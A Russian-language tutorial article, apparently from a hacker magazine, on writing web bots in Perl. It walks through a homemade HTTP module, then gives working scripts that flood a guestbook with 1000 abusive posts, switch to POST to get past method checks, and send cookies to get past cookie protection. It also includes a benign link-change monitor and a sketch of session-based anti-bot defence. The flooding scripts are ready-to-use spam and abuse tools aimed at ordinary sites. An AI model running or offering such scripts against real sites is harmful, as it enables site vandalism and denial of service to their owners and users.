Что такое бот вообще? Это — механизм, работающий без чье-либо помощи. В данном
случае это программа, которая работает самостоятельно в Web. Другими словами, это
программа, которая симулирует пользовательские действия. Например, вы набрали в
строке броузера адрес http://www.somesite.com — при этом сервер возвращает какой-нибудь результат. Предположим этот сайт возвращает вам форму гостевой книги, т.е
вы должны заполнить какие-нибудь поля типа
Nickname, e-mail, ну конечно и само сообщение. Т.е это будет выглядеть подобно такому запросу:
http://www.somesite.com/cgi-bin/gb.pl? nick=Vasya&email=vasya@mail.ru&mess=test,
но вероятнее всего это будет сделано методом post (а не get, как выше). Это значит,
что такой строки мы не увидим, но это и не важно: т.е. гостевые такого рода
потенциально подвержены очень большому флуду со стороны клиентов, а вероятнее
всего ботов. Интересный вопрос, неправда ли? Да, можно сидеть и клацать на кнопке
refresh вашего браузера и создавать кучу каких-нибудь сообщений. Но
ведь  если это все будет делать какая-нибудь программа — это во первых будет гораздо
быстрее, а во вторых намного надежнее. Ну вот, по сути, это и будет делать наш 
бот. Конечно, флуд и порча гостевых не единственная перспектива ботов — далеко не
единственная ! И в основном ботов используют поисковые системы.
Таких ботов называют «пауками». Мы рассмотрим вредоносные случаи, а также полезные
аспекты ботов. Для этого я написал целый модуль на перле, в который входит много полезных
процедур, т.е. данный модуль может быть использован для разнообразных целей
(как вы увидите потом). Теперь начнем
разбирать модуль по косточкам:

#!/usr/bin/perl

#######################
# synthetic’s HTTP package #
# mailto: synthetic@inbox.ru #
#######################

package synlib;
$VERSION=0.1;

BEGIN {
eval «use Socket»;
if(!defined $INC{‘Socket.pm’}){die «No socket support by this system»}
# умираем если данная система не поддерживает сокет
}

use Exporter;
@ISA=(‘Exporter’);
# импортируем названия процедур
@EXPORT=qw(&list &http_request &Encode_base64 &Decode_base64 
&fetch_conf &is_port_opened &fetch_attrs &sendmail);

sub list{
# процедура по выделению массива из файлов типа ЛИСТ
# т.е. в файле каждая строка это пароль или что-нибудь еще
my($file) = @_;
my(@list);
local(*FILE);
open(FILE,$file) or die «$! : $file»;
while(<FILE>){
chomp;
push(@list,$_);
}
close(FILE);
return @list;
}

sub http_request{
# процедура http запроса
# может использовать GET, POST методы
my($type,$remote,$hout,$hin,$post_data) = @_;
my($paddr,$proto, $iaddr,$data,$pack,$packd,$r, $port,$head,$body, @header,@sp,$i);
# создаем массив ошибок 🙂
my @err=(
«No errors»,
«Can’t resolve hostname»,»Socket() error»,
«Couldn’t connect to host»,»Error sending packets»,
«sockaddr_in() error : $!»,»getprotobyname() error: $!»
);
# удаляем строку «http://», из адреса если есть
$remote =~ s/^http\:\/\///ig;
($remote,$port) = split(/\:/,$remote,2); # разделяем адрес на хост и порт
($remote,$path) = split(/\//,$remote,2); # разделяем хост на хост и порт
# если порт не назначен назначаем 80
$port=80 if !$port;
# очищаем выходной хеш
%$hout=();
$r=0;
if(!($iaddr = gethostbyname($remote))){
$r=1;
# если произошла ошибка запоминаем номер ошибки
}
$paddr = sockaddr_in($port, $iaddr) or die «Error: $!»;
$proto = getprotobyname(‘tcp’) or die «Error: $!»;
# строка переноса в header’e
$crlf = «\r\n\r\n»;

# создаем сокет, если произошла ошибка запоминаем ее номер
if(!socket(SOCK, PF_INET, SOCK_STREAM, $proto)){
$r=2 if !$r;
}
# соединяемся с хостом 
if(!connect(SOCK, $paddr)){
$r=3 if !$r;
}
if($hin){
# если есть входной хеш
# записываем все его параметры в $addp
# для последующей посылки его в сокет
foreach $key (sort keys %$hin){
$addp .= «$key: $$hin{$key}\r\n»;
}
}
if($post_data){
# если есть данные для передачи методом POST
# формируем заголовок передачи с параметрами
foreach $key (sort keys %$post_data){
$packd .= «$key=$$post_data{$key}&»;
}
chop($packd); 
# взято из RFC 2068
$pack .= «POST http://$remote/$path\r\n»;
$pack .= «Content-Length: «.length($packd).»\r\n»;
# добавляем к пакету данных параметры входного хеша
$pack .= $addp;
$pack .= «Content-Type: application/x-www-form-urlencoded\r\n»;
$pack .= «\r\n»;
$pack .= $packd;
}else{
$pack .= «$type /$path HTTP/1.0\r\n»;
$pack .= «Host: $remote\r\n»;
# добавляем к пакету данных параметры входного хеша
$pack .= $addp;
$pack .= «Accept: */*\r\n»;
$pack .= «Referer: $remote\r\n»;
$pack .= «User-Agent: Mozilla/1.3\r\n»;
$pack .= «Connection: Close\r\n»;
}
$pack .= $crlf;

# посылаем данные в сокет
if(!send(SOCK,$pack,0)){
$r=4 if !$r;
}
$data = «»;
# принимаем данные из сокета
while(<SOCK>){
$data .= $_;
}
# разделяем данные на head и body
($head,$body) = split(/$crlf/,$data,2);
# теперь разделяем header на поля
# первое поле — статус документа
@header = split(/\n/,$head);
# все записываем в выходной хеш начальным значением synthetic
# resp_code — код ответа
# resp_name — имя ответа
$$hout{‘synthetic’}->{‘resp_code’} = (split(/\s+/,$header[0],3))[1];
$$hout{‘synthetic’}->{‘resp_name’} = (split(/\s+/,$header[0],3))[2];
# также каждый параметр поля заносится в хеш
# под его именем в нижнем регистре
for($i=1;$i<=$#header;$i++){
chomp($header[$i]);
@sp = split(/\:\s+/,$header[$i],2);
$sp[0] = lc($sp[0]);
$$hout{‘synthetic’}->{$sp[0]}=$sp[1];
}
# закрываем сокет
close(SOCK);
# не забываем записать ошибки в хеш
# а также часто используемые имена
$$hout{‘synthetic’}->{‘error’} = $err[$r];
$$hout{‘synthetic’}->{‘body’} = $body;
$$hout{‘synthetic’}->{‘header’} = $head;
$$hout{‘synthetic’}->{‘status’} = $header[0];
# возвращаем 1 после завершения функции
return 1;
}

sub fetch_attrs{
# эта функция не идеальна, требует доработки или переработки
# но нужные параметры «выгребает» хорошо
# не выгребает типа такого: alt=» go >>>»
my($data,$aout,$grab,$flg) = @_;
######################
# fetch_attrs(<text>,<array-out>,<grab-hash>,<unique flag>); #
######################
my(%seen,$item,$i,$link,@val,$aft);
# создаем хеш сэмплов для выгребания параметров
атрибутов по умол.
# если не задан $grab используем ниже приведенный
хеш
%LINKS =
(
a => ‘href’, # из тега <a> достаем параметр
атрибута href
form => ‘action’, # и т.д.
frame => ‘src’,
); 
$_ = $data;

%LINKS = %$grab if $grab;
# далее с помощью регексп достаем полностью
тег (открывающий)
# далее теми же регекспами выгребаем оставшееся
# с учетом RFC 2068
foreach $t (sort keys %LINKS){
while(m/(<$t.*?>)/ig){
if(ref $LINKS{$t}){
@val = @{$LINKS{$t}}
}else{
@val = $LINKS{$t};
}
for($i=0;$i<=$#val;$i++){
$link = $1;
if($1 !~ /$val[$i]/i){
next;
}
$link =~ m/$val[$i]=/ig;
$aft = $’;
if(str($aft,0) eq «\»»){
$aft = substr($aft,1,length($aft));
$aft =~ m/\»/ig;
$aft = $`;
}elsif(str($aft,0) eq «‘»){
$aft = substr($aft,1,length($aft));
$aft =~ m/\’/ig;
$aft = $`; 
}else{
$aft =~ m/\s|>/ig;
$aft = $`;
}
push(@$aout,$aft);
}
}

}
# если флаг не задан оставляем только уникальные элементы
if(!$flg){
%seen=();
foreach $item (@$aout){
$seen{$item}++;
}
@$aout = sort keys %seen;
}
# end of sub
}

sub str{
return substr($_[0],$_[1],1);
}

sub sendmail{
# функция для отправки почты через стандартную программу юникс систем
# sendmail, ее ссылку также можно поменять через последний аргумент функции
my($from,$to,$subject,$body,$mailprog) = @_;
$mailprog = «|/usr/lib/sendmail -oi -t -odq» if !$mailprog;
open(MAIL,$mailprog) or die $!;
print MAIL <<«EOF»;
From: $from
To: $to
Subject: $subject

$body
EOF
close(MAIL);
}

sub fetch_conf{
# эта функция достает конфиг. параметры юникс формата
my($conf,$hout) = @_;
local(*CONF);my(@data);
open(CONF,$conf) or die «Couldn’t open conf: $!»;
while(<CONF>){
if(!/^#/){
chomp;
@data = split(/\s+/,$_,2);
if($data[0] and $data[1]){
$$hout{$data[0]}=$data[1]
}
}
}
close(CONF);
}

sub is_port_opened {
# я думаю из названия можно определить 🙂
# проверяет открыт ли $port у $target
my($target,$port)=@_;
if(!(socket(S,PF_INET,SOCK_STREAM,0))){return 0}
if(connect(S,sockaddr_in($port,inet_aton($target)))){
close(S);
return 1
}
return 0
}

##########################
# далее идут функ. взятые из разных модулей #
##########################

# далее две функции шифрорвания всзяты из MIME::Base64
# специально для http аутентификации

sub Encode_base64 { 
my $res = «»;
my $eol = $_[1];
$eol = «\n» unless defined $eol;
pos($_[0]) = 0;
while ($_[0] =~ /(.{1,45})/gs) {
$res .= substr(pack(‘u’, $1), 1);
chop($res);}
$res =~ tr|` -_|AA-Za-z0-9+/|;
my $padding = (3 — length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/’=’ x $padding/e if $padding;
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
} $res; }

sub Decode_base64 {
my $str = shift;
my $res = «»;
$str =~ tr|A-Za-z0-9+=/||cd;
$str =~ s/=+$//; 
$str =~ tr|A-Za-z0-9+/| -_|;
while ($str =~ /(.{1,60})/gs) {
my $len = chr(32 + length($1)*3/4);
$res .= unpack(«u», $len . $1 );
}$res;}
# в конце 1 — это обязательно для модуля
1;

Вот мы и закончили рассматривать synlib.pm. Теперь как это все можно использовать.

Простой пример, все на той же гостевой:

#!/usr/bin/perl

use synlib;
$host = «http://www.vasya.com/cgi-bin/gb.pl?nickname=123&email=vasya@mail.ru&mess=fuckoff»;

for($i=0;$i<=1000;$i++){
http_request(«GET»,$host,\%http);
if(!$http{synthetic}->{error}){
print «Flood post [SUCCESS]\n»;
}else{
print «Flood post [FAILED]:».$http{synthetic}->{error};
}
}

Такой скрипт оставляет 1000 сообщений. Но может быть еще
то, что стоит проверка: если метод был не POST — не принимать такие сообщения. Это легко можно обойти —
немножко меняем скрипт:

#!/usr/bin/perl

use synlib;
$host = «http://www.vasya.com/cgi-bin/gb.pl»;
# теперь нам нужно только имя скрипта
# создаем хеш с ником e-mail’ом или еще какими-нибудь параметрами
$in{‘nickname’} = «Vasya»;
$in{’email’} = «vasya@mail.ru»;
$in{‘mess’} = «Hello I’m Vasya Pupkin kiss my ass !»;

for($i=0;$i<=1000;$i++){
http_request(0,$host,\%http,0,\%in);
if(!$http{synthetic}->{error}){
print «Flood post [SUCCESS]\n»;
}else{
print «Flood post [FAILED]:».$http{synthetic}->{error};
}
}

Вот и все, с POSTом справились, но это еще не все. Есть защита на куки
(cookie). Вот в чем смысл: каждый раз при клике на какую-нибудь линку скрипт проверяет
наличие куки: если его нет — то отбой, если есть нужно проверить
на правильность. Это не столь важно когда вы зарегистрируетесь, вы просто посылаете в
придачу к POST запросу еще и куки — вот и все, делается это вот так:

$in{‘nickname’} = «vasya»;
$in{’email’} = «some@mail»;
$in{‘mess’} = «Nice site»;
# куки пишутся через «;», пр.: имя=параметр;имя2=параметр2
$in{‘Cookie’} = «pass=678hB89Kiop6gT;login=vasya»;
# пароль обычно где-то такого вида…

http_request(0,»http://www.site.com/cgi-bin/gb.pl»,\%http,0,\%in);

Вот и справились с защитой на основе куки… Но, как я говорил выше, данный модуль может быть использован не только в плохих
целях. Например, можно получать все ссылки из какого-то сайта с определенным
интервалом, например для проверки добавились ли какие-нибудь линки на том или ином
сайте, если да — послать сообщения на e-mail. Вот скрипт:

#!/usr/bin/perl

use synlib.pm;
# ниже настраиваем аргументы функции sendmail
$from = «from@who»;
$to = «your@mail»;
$subject = «New links added «.localtime(time);
# далее параметры самой программы
$error_tries = 3;
$host = «http://www.somesite.com/»;
$timeout = 60;

$errors=0;
while(1){
# спим заданное время в секундах, т.е. $timeout секунд
sleep $timeout;
http_request(«GET»,$host,\%http);
# если была ошибка выводим ее и прибавляем 1 к ошибкам
if($http{synthetic}->{error}){
print «Error: «.$http{synthetic}->{error};
$errors++;
}else{
# иначе выгребаем ссылки:
# достаем из хтмл текста только ссылки (с помощью данного хеша)
%tag=(
a => href
);
fetch_attrs(0,$http{synthetic}->{body},\@links);
# тут уже делаем что угодно с @links
if($first == 1){
$first=0;
@old_links = @links;
}else{
$len = $#links;
if($#old_links > $#links){
$len = $#old_links;
}
for($i=0;$i<=$len+1;$i++){
if($old_links[$i] ne $links[$i]){
# посылаем почту 
sendmail($from,$to,$subject,»New link: $links[$i]»);
}
}
}
}
# если было три ошибки завершаем цикл
if($errors == 3){last}

}

Казалось бы нет защиты от ботов… На самом-то деле есть. Ну что ж, объясню
сам принцип, а реализовывайте сами.

Принцип работы сессии

При входе в какую-нибудь аутентификационную систему создается файл с сгенерированым
по какому-нибудь принципу идентификатором (например шифрование ip адреса), далее
ко всем ссылкам на данном сайте приписывается этот идентификатор и впоследствии,
при нажатии на ссылку, идет проверка правильности, если пользователь долго не нажимал
на ссылку (т.е. по таймауту) удаляется этот файл, при следующем посещении 
идентификатор должен быть ДРУГИМ ! В общем и все, но естественно можно «наращивать»
и куки, и другие способы защиты… Ну вот и все, надеюсь вы немного разобрались с перлом и основами ботов…

В следующей статье будут рассмотрен интеллектуальный
сканнер а так же много чего интересного на основе моего модуля
synlib.pm.

Удачи в программировании…

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…